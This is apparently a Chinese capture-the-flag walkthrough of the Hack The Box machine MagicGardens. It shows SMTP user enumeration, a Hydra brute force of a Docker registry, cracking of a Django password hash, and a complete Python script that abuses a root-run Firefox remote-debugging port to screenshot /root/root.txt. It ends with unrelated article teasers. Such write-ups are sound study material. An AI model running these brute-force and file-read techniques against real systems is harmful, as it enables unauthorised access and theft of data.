Hack The Box-MagicGardens

总体思路

SMTP用户爆破->5000端口Docker注册表爆破->敏感数据泄露->Firefox远程调试LFI

信息收集&端口利用

nmap -sSVC 10.10.11.9

在这里插入图片描述

目标开放了22、25、80、5000端口,先看80端口是否存在利用点

在这里插入图片描述

目录扫描结果大部分都是302跳转到admin界面,但是网站本身也有一个login界面,访问之

在这里插入图片描述

普通的登录界面存在注册功能,再看admin目录

在这里插入图片描述

是一个Django组件的登录界面,在exploit-db搜索漏洞

在这里插入图片描述

所给出的poc均无法利用,再回到login界面处,注册了名为11的用户

在这里插入图片描述

发现能够购买商品,但是点击购买后没有别的数据

在这里插入图片描述

那么先看个人界面

在这里插入图片描述

有个人信息、购买历史、信息和订阅几个选项,在信息选项中,能看到可以发送信息,想到能不能通过给管理员发送信息,获取其登录凭证

在这里插入图片描述

此处创建了另外一个号,然后给他发送poc尝试获取其cookie,但是没有作用(悲

又看了一遍80端口的网页,发现还是没有利用点,于是转换思路,查看25端口

SMTP用户爆破

在之前的端口扫描中,可以看到25端口支持VRFY

VRFY命令用于验证用户是否存在于SMTP服务器上。攻击者可以使用VRFY命令来枚举用户,从而获取有关目标系统的有用信息。在现代SMTP服务器上,通常会禁用VRFY命令以防止用户枚举攻击

这里我们使用msf中的auxiliary/scanner/smtp/smtp_enum模块对可能存在的用户名进行爆破(需要更换字典)

msf6 > use auxiliary/scanner/smtp/smtp_enum 
msf6 auxiliary(scanner/smtp/smtp_enum) > set rhosts 10.10.11.9
rhosts => 10.10.11.9
msf6 auxiliary(scanner/smtp/smtp_enum) > exploit 

[*] 10.10.11.9:25         - 10.10.11.9:25 Banner: 220 magicgardens.magicgardens.htb ESMTP Postfix (Debian/GNU)
[+] 10.10.11.9:25         - 10.10.11.9:25 Users found: , _apt, alex, avahi-autoipd, backup, bin, daemon, games, irc, list, lp, mail, man, messagebus, news, nobody, postfix, postmaster, proxy, sshd, sync, sys, systemd-network, uucp, www-data
[*] 10.10.11.9:25         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

发现了邮件用户alex,想到还有5000端口的ssl/http Docker Registry (API: 2.0)服务,尝试爆破

Docker注册表爆破

这里使用hydra对其进行爆破

hydra -l alex -P /usr/share/wordlists/rockyou.txt 10.10.11.9 -s 5000 https-get /v2/

在这里插入图片描述

得到alex的凭证:alex/diamonds

对于5000端口,具体的利用信息可以参考以下链接

https://book.hacktricks.xyz/v/cn/network-services-pentesting/5000-pentesting-docker-registry

在获取登录访问权限后,逐一枚举信息

#List repositories
curl -k -u alex:diamonds http://10.10.11.9:5000/v2/_catalog
{"repositories":["magicgardens.htb"]}

#Get tags of a repository
curl -k -u alex:diamonds https://10.10.11.9:5000/v2/magicgardens.htb/tags/list
{"name":"magicgardens.htb","tags":["1.3"]}

#Get manifests
curl -k -u alex:diamonds https://10.10.11.9:5000/v2/magicgardens.htb/manifests/1.3
{
   "schemaVersion": 1,
   "name": "magicgardens.htb",
   "tag": "1.3",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      
      ......

      {
         "v1Compatibility": "{\"id\":\"b296c87bc9a3ebdb9fb6c992b3e4f61e6b364be73864849e386a2dd0321856df\",\"created\":\"2023-08-16T00:59:30.831171691Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:3a6d159d80cb8abfacda5873c243a6ae635ff603708febc4df51f8eec26d3de7 in / \"]}}"
      }
   ],
   "signatures": [
      {
         "header": {
            "jwk": {
               "crv": "P-256",
               "kid": "GCEN:ZRZG:PH4S:5DYA:2JJZ:MKYZ:Q7BJ:XHCS:TCDE:G5X7:3LP2:VHOC",
               "kty": "EC",
               "x": "rXaAeR65MXRR4MeRDHTSXBXRXEsjL8ckaptdT52Q3Is",
               "y": "klREGDVR5l-jXIcne5aI4nY-PoDlMnVeOrpjIAk04Vk"
            },
            "alg": "ES256"
         },
         "signature": "3M60SYpaDbEJvIaMJHTBxtT8ck6SfCSAZZB1zXWlkFZdgLV4cWtqH9jJKDOIMAotZNfibyMrh8NRRJBpkuf7ow",
         "protected": "eyJmb3JtYXRMZW5ndGgiOjIwNzU5LCJmb3JtYXRUYWlsIjoiQ24wIiwidGltZSI6IjIwMjQtMDUtMjFUMDM6NDM6NDdaIn0"
      }
   ]
}

其中blobSum后跟的是文件的名称

使用DockerRegistryGrabber将其下载下来

在这里插入图片描述

在这里插入图片描述

全部解压后逐一查看

在一个usr/src/app中,看到db.sqlite3文件

在这里插入图片描述

使用sqlite打开并查看数据库信息

在这里插入图片描述

发现了morty用户的加密后密码,将这一段密码在hashcat中查找,正好是Django的加密方式

在这里插入图片描述

扔进hashcat解密

在这里插入图片描述

解得morty用户的登录凭证:morty/jonasbrothers

尝试ssh

在这里插入图片描述

同时,也能够登录进80端口的admin界面

在这里插入图片描述

--------------------------------------------更新分界线--------------------------------------------

登录到ssh后,将linpeas上传到靶机,查看是否能扫描出漏洞

非预期方式

在这里插入图片描述

发现有一段黄底红字的进程

这个命令行是用来启动 Firefox Extended Support Release(Firefox ESR)的浏览器实例,并配置它以支持自动化测试,特别是与 Selenium WebDriver 和 Marionette 结合使用时。以下是各个参数的解释:
firefox-esr:这是 Firefox ESR 的可执行文件。Firefox ESR 是为那些需要更长时间支持旧版本的企业和组织提供的 Firefox 版本。
–marionette:启用 Marionette 驱动,这是 Firefox 的 WebDriver 实现。它允许通过 Selenium 或其他 WebDriver 兼容的自动化工具来控制 Firefox。
–headless:在无头模式下启动 Firefox,这意味着浏览器将不会显示图形用户界面(GUI)。这通常用于自动化测试或在没有图形界面的服务器上运行浏览器。
–remote-debugging-port 52735:设置远程调试端口为 52735。通过这个端口,你可以使用 Firefox 开发者工具进行远程调试,或者与其他工具(如 Selenium Grid)进行通信。
–remote-allow-hosts localhost:允许来自 localhost 的远程连接。这通常与 --remote-debugging-port 一起使用,以确保只有来自本地主机的连接才能访问调试端口。
-no-remote:防止 Firefox 尝试打开已经运行的实例。在自动化测试环境中,这个选项很重要,因为它确保你能够控制一个全新的浏览器实例。
-profile /tmp/rust_mozprofileba09VC:使用指定的配置文件夹来启动 Firefox。在这个例子中,配置文件夹位于 /tmp/rust_mozprofileba09VC。这允许你为特定的浏览器实例配置特定的设置、扩展、书签等。

可以看到由于root正在运行启用了远程调试的Firefox,因此肯定存在这种方式的漏洞。CDP协议允许打开任何URL的页面,包括“file://”。它还允许捕获浏览器窗口的屏幕截图,两者结合在一起可以获得任何PNG文件

将靶机的52735端口转发到本地

在这里插入图片描述

执行以下poc,就能得到一张包含/root/roo.txt的PNG图片

#poc.py
import json
import requests
import websocket
import base64

debugger_address = 'http://localhost:52735' # Change port

response = requests.get(f'{debugger_address}/json')
tabs = response.json()

web_socket_debugger_url = tabs[0]['webSocketDebuggerUrl'].replace('127.0.0.1', 'localhost')

print(f'Connect to url: {web_socket_debugger_url}')

ws = websocket.create_connection(web_socket_debugger_url, suppress_origin=True)

command = json.dumps({
            "id": 5,
            "method": "Target.createTarget",
            "params": {
                "url": "file:///root/root.txt"
            }
})

ws.send(command)
target_id = json.loads(ws.recv())['result']['targetId']
print(f'Target id: {target_id}')

command = json.dumps({
                "id": 5,
                "method": "Target.attachToTarget",
                "params": {
                    "targetId": target_id,
                    "flatten": True
                }})

ws.send(command)
session_id = json.loads(ws.recv())['params']['sessionId']
print(f'Session id: {session_id}')

command = json.dumps({
            "id": 5,
            "sessionId": session_id,
            "method": "Page.captureScreenshot",
            "params": {
                "sessionId": session_id,
                "format": "png"
            }
        })

ws.send(command)
result = json.loads(ws.recv())
# I don’t know why but you have to do this twice
ws.send(command)
result = json.loads(ws.recv())

if 'result' in result and 'data' in result['result']:
    print("Success file reading")
    with open("root.png", "wb") as file:
        file.write(base64.b64decode(result['result']['data']))
else:
    print("Error file reading")

ws.close()

在这里插入图片描述

有思路了再更新预期打法

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/661778.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

2.1色彩空间

色彩发送器 色彩认知 光源是出生点,光源发射出光线,光线通过直射反射折射等路径最终进入人眼。 但人眼接收到光线后,人眼的细胞产生了一系列化学反应。 由此把产生的信号传入大脑,最终大脑对颜色产生了认知感知。 光的要素 光…

基于STM32单片机老人体温心率血氧跌倒定位短信报警

一.硬件及设计功能 以STM32F103C8T6为中央处理器,GPS模块用采集数据,将数据发送给单片机后,单片机根据定位计算公式得出当前位置的经纬度信息和时间信息。经过LCD显示器处理后得出和时间信息SIM800模块发送短信到设定的手机号上,将…

安卓开发板_开发评估套件_4G/5G联发科MTK安卓主板定制开发

安卓开发板采用了联发科八核A53 CPU,主频2.0GHz,采用12nm制程工艺,拥有强大的通用计算性能。配备GE8300 GPU,支持1080P视频编码和H.264硬解码,能够解析目前流行的视频和图片格式,非常适合各种功能APP的测试…

社交变革:探索Facebook如何塑造我们的日常生活

在数字化时代的潮流中,社交媒体已经成为了我们日常生活中不可或缺的一部分,而Facebook作为其中的佼佼者,无疑扮演着至关重要的角色。本文将深入探讨Facebook在社交变革中所发挥的作用,以及它如何塑造着我们的日常生活。 1. 社交网…

最新上市公司控制变量大全(1413+指标)1990-2023年

数据介绍:根据2023年上市公司年报数据进行更新,包括基本信息、财务指标、环境、社会与治理、数字化转型、企业发展、全要素生产率等1413指标。数据范围:A股上市公司数据年份:1990-2023年指标数目:1413个指标&#xff0…

第五天 从零开始构建基于Kubernetes的DevOps平台

基于Kubernetes的DevOps平台实践 持续集成工具: JenkinsgitlabciTekton 本章基于k8s集群部署gitlab、sonarQube、Jenkins等工具,并把上述工具集成到Jenkins中,以Django项目和SpringBoot项目为例,通过多分支流水线及Jenkinsfile…

拥塞控制的微观行为与力学解释

本文以 tcptrace 图为基,描述传输的微观行为,并给出一个初中几何描述的压水井模型。 统计复用网络的拥塞控制,宏观看 inflight,微观看 pacing rate,宏观大方向不对,微观再正确也不行。 而网络的统计动力学…

Iphone自动化指令每隔固定天数打开闹钟关闭闹钟(二)

1.首先在搜索和操作里搜索“查找日期日程" 1.1.然后过滤条件开始日期选择”是今天“ 1.2.增加过滤条件,日历是这里选择”工作“ 1.3.增加过滤条件,选择标题,是这里选择”workDay“ 1.4选中限制,日历日程只要一个,…

5.4 Go 匿名函数与闭包

💝💝💝欢迎莅临我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…

数据结构(一)顺序表

目录 一、概念(一)数据结构的三元素1. 逻辑结构(1)线性结构(2)非线性结构 2. 存储结构(1)顺序存储(2)链式存储(3)索引存储 3. 运算 &a…

11.RedHat认证-Linux文件系统(中)

11.RedHat认证-Linux文件系统(中) Linux的文件系统 格式化分区(1道题) #对于Linux分区来说,只有格式化之后才能使用,不格式化是无法使用的。 #Linux分区格式化之后就会变成文件系统,格式化的过程相当于对分区做了一个文件系统。 #Linux常见…

一个月速刷leetcodeHOT100 day13 二叉树结构 以及相关简单题

树是一种分层数据的抽象模型 二叉树 二叉树中的节点最多只能有两个子节点,一个是左侧子节点,另一个是右侧子节点 二叉搜索树 二叉搜索树(BST)是二叉树的一种,但是只允许你在左侧节点存储(比父节点&…

LVM、磁盘配额

LVM与磁盘配额 一、LVM LVM(逻辑卷管理):是Linux系统下对硬盘分区的管理机制。 LVM机制适合于管理管理大存储设备。可以动态对硬盘进行扩容。 逻辑上的磁盘,概念上的磁盘,文件系统创建之后不考虑底层的物理磁盘。 若干个磁盘分区或者物理…

51 html网页

上节内容的网页是hello world的字符串,但实际上网页应该是html格式的这种超文本标记语言,这一节完善一下网页的各种格式和内容 分文件 实际服务器中,网页的界面应该单独放一个文件,服务器从文件里读取网页的内容 先创建一个wroo…

PLC集成BL121PO网关优化智能电网的远程管理PLC转OPC UA协议

随着工业自动化技术的不断发展,智能电网等复杂系统对于设备之间高效通信的需求日益增加。PLC转OPC UA协议转换网关BL121PO作为一款领先的协议转换设备,通过其独特的设计和功能,为用户提供了高效、安全的PLC接入OPC UA的解决方案。 设备概述 …

R语言入门 | 使用 dplyr 进行数据转换

3.1简介 3.1.1准备工作 3.1.2 dplyr 基础 • 按值筛选观测( filter() )。 • 对行进行重新排序( arrange() )。 • 按名称选取变量( select() )。 • 使用现有变量的函数创建新变量( …

STM32实验之USART串口发送+接受数据(二进制/HEX/文本)

涉及三个实验: 1.USART串口发送和接收数据 我们使用的是将串口封装成为一个Serial.c模块.其中包含了 void Serial_Init(void);//串口初始化 void Serial_SendByte(uint8_t Byte);//串口发送一个字节 void Serial_SendArray(uint8_t *Array,uint16_t Length);//…

Vue3项目练习详细步骤(第三部分:文章分类页面模块)

文章分类列表 主体结构 接口文档 文章分类列表查询接口数据绑定 Pinia状态管理库 axios请求拦截器 Pinia持久化插件-persist 未登录统一处理 添加文章分类 主体结构 接口文档 绑定请求数据 编辑文章分类 弹框结构 数据回显 接口文档 绑定请求数据 删除分类 …

WAF几种代理模式详解

WAF简介 WAF的具体作用就是检测web应用中特定的应用,针对web应用的漏洞进行安全防护,阻止如SQL注入,XSS,跨脚本网站攻击等 正向代理 WAF和客户端与网络资源服务器都建立连接,但是WAF 的工作口具有自己的 IP 地址&…

【408真题】2009-28

“接”是针对题目进行必要的分析,比较简略; “化”是对题目中所涉及到的知识点进行详细解释; “发”是对此题型的解题套路总结,并结合历年真题或者典型例题进行运用。 涉及到的知识全部来源于王道各科教材(2025版&…